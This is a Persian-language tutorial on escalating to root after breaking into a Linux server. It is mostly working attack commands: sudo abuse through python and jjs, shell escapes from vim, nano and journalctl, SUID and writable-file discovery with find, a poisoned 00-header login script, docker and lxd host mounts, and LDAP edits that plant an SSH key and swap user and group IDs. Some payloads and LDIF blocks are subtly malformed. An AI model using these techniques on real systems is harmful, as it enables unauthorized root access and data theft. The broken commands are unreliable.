یکی از مهم ترین کارها بعد از نفوذ به سرور و در اختیار گرفتن دسترسی کاربر عادی، ارتقاء دسترسی و یا مجوز دسترسی به اطلاعات سایر کاربران است.
ما در لینوکس روش های مختلف و خلاقانه ای داریم که در چند پست قسمت خیلی کوچکی از این روش ها را بررسی می کنیم.
در این آموزش ها ما سه روش تغییر دسترسی در لینوکس را بررسی می کنیم.
در روش اول به صورت کلی برای تغییر دسترسی ما تلاش می کنیم فایلی را که دارای مجوز مشخص است را پیدا(A) و فایل های دیگر را که با فایل دارای مجوز درارتباط هستند را به نحوی تغییر دهیم(B) که در هنگام اجرا توسط فایل دارای مجوز دسترسی ما ارتقا پیدا کند.
A(B)
از نمونه های این روش می توان استفاده از sudoer و suid و docker اشاره نمود.
در روش دوم با استفاده از مفاهیم سیستم عامل و کتابخانه های مورد استفاده برنامه های سعی می کنیم دسترسی خود را تغییر دهیم.
از نمونه های این روش می توان به استفاده از rope و heap و stack اشاره نمود.
در روش سوم هم با استفاده از قابلیت های کرنل و برنامه های مرتبط با آن و آسیب پذیری های شناخته شده آن سعی می کنیم دسترسی خود را ارتقا ببخشیم.
از نمونه های این روش هم می توان به آسیب پذیری sudo با کد CVE-2019-14287 و یا آسیب پذیری در systemctl با کد CVE-2018-19788 اشاره نمود.
همانطور که می دانیم کاربرانی که حق اجرای دستور sudo دارند sudoer نامیده و حق اجرای موارد مشخص شده در فایل /etc/sudoers را با دسترسی مدیر سیستم دارند.
برای بررسی این فایل می توانیم از دستور sudo -l استفاده کنیم.
برای مثال فرض کنید حق اجرای python در فایل sudoers به صورت زیر برای کاربر demo در نظر گرفته شده است.
demo All=(ALL) NOPASSWD: /usr/bin/python
خب مشخصا کاربر demo می تواند به این شکل در python دسترسی خود را به root ارتقاء و دستورات را با دسترسی root اجرا کنید.
python -c 'import os;os.system("id")'
نمونه ای دیگر در زبان java به این شکل خواهد بود.
در صورت اجرا فایل jjs در مسیر /usr/lib/jvm/java-11-openjdk-amd64/bin/
Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo sh -p /dev/pts/0 2>/dev/pts/0').waitFor()
در مثالی دیگر فرض کنید ویرایشگر های vim و nano قابلیت اجرا تحت sudo را دارند.
برای ارتقاء دسترسی در vim به شکل زیر عمل می کنیم.
:set shell=/bin/sh
:shell
همچنین برای ارتقاء دسترسی در nano هم به شکل زیر عمل می کنیم.
^R^X
reset; sh 1>&0 2>&0
در لینوکس ما قابلیت تنظیم مجوز برای فایلی مشخص را برای اجرای تحت کاربر خاص داریم.
این تنظیم مجوز با suid انجام می شود.
برای مثال اگر suid فایلی ۴۰۰۰ باشد ما می توانیم به واسطه آن فایل دسترسی خود را تغییر دهیم.
برای پیدا نمودن فایل های با مجوز ۴۰۰۰ از دستور زیر استفاده می کنیم.
find / -uid 0 -perm -4000 -type f 2>/dev/null
بعد از پیدا نمودن فایل دارای مجوز، فایل اجرایی را توسط کاربر اجرا و از مجوز های آن به نحو احسنت استفاده می کنم.
برای مثال فرض کنید journalctl دارای suid است.
کافی است است بعد از اجرا، شل را فراخوانی کنیم.
!/bin/sh
در روش دیگر فایلی وجود دارد که سیستمی است ولی قابل نوشتن یا writable است.
برای پیدا نمودن فایل های writable از دستور زیر استفاده می کنیم.
find / -writable ! -user whoami -type f ! -path “/proc/” ! -path “/sys/” -exec ls -al {} \; 2>/dev/null
حال فرض کنید فایل header-00 قابلیت نوشتن دارد.
فایل 00-header هنگام ورود با ssh اجرا و banner مشخص شده را نمایش می دهدبرای مثال برای خوش آمد گوشیی که کاربر می تواند مورد استفاده قرار بگیرد.
این فایل به صورت پیش فرض تحت root اجرا و برای کاربران قابل شخصی سازی است. برای ارتقاء دسترسی توسط این فایل می توانیم passwd را بخوانیم.
echo "cat /root/root.txt" >> 00-header
بنابر این بعد از ورود به سیستم توسط کاربر در اختیار گرفته شده فایل محتوای 00-header چاپ و فایل passwd خوانده می شود.
اگر سرویس docker توسط کاربر بدون احراز هویت قابل اجرا و یا کاربر عضو گروه docker و توانایی راه اندازی سرویس را داشته باشد ما می توانیم container را از root در mnt به صورت زیر اصطلاح mount کنیم.
docker run -v /root:/mnt -it ubuntu
همچنین می توانیم از دستور زیر هم استفاده کنیم.
docker run --rm -it --privileged nginx bash mkdir /mnt/fsroot mount /dev/sda /mnt/fsroot
ابتدا با استفاده از دستورات زیر نسخه از lxd به اصطلاح build می کنیم.
git clone https://github.com/saghul/lxd-alpine-builder.git
./build-alpine
سپس در سیستم هدف image را دریافت و سپس دستورات زیر را به ترتیب اجرا می کنیم.
import ./alpine-v3.12-x86_64-20200621_2005.tar.gz --alias attacker
lxc init attacker tester -c security.privileged=true
lxc exec tester/bin/sh
ابتدا باید ssh را با استفاده از ldap فعال کنیم برای اینکار ابتدا دستور زیر را اجرا
ldapmodify -x -w PASSWORD
سپس محتوای زیر را با توجه به مشخصات سرور در آن قرار دهید.
dn: cn=openssh-lpk,cn=schema,cn=config objectClass: olcSchemaConfig cn: openssh-lpk olcAttributeTypes: ( 1.3.6.1.4.1.24552.500.1.1.1.13 NAME 'sshPublicKey' DESC 'MANDATORY: OpenSSH Public key' EQUALITY octetStringMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.40 ) olcObjectClasses: ( 1.3.6.1.4.1.24552.500.1.1.2.0 NAME 'ldapPublicKey' SUP top AUXILIARY DESC 'MANDATORY: OpenSSH LPK objectclass' MAY ( sshPublicKey $ uid ) )
بعد از فعال سازی ssh حال برای ارتقا دسترسی دستور زیر را اجرا
ldapmodify -x -w PASSWORD
و سپس محتوای زیر را با توجه به مشخصات کاربر و گروه کاربر هدف و کلید id_rsa خود، تغییر و قرار می دهیم.
dn: uid=UID,ou=users,ou=linux,ou=servers,dc=DC,dc=DC
changeType: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey sshPublicKey: content of id_rsa.pub
-
replace: EVIL GROUP ID uidNumber: CURRENT USER ID
-
replace: EVIL USER ID gidNumber: CURRENT GROUP ID